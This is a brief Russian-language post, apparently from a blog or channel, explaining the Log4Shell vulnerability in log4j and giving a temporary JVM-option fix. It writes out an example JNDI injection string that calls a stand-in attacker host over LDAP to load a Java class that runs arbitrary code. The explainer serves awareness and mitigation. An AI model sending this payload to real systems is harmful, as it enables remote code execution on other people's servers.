Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).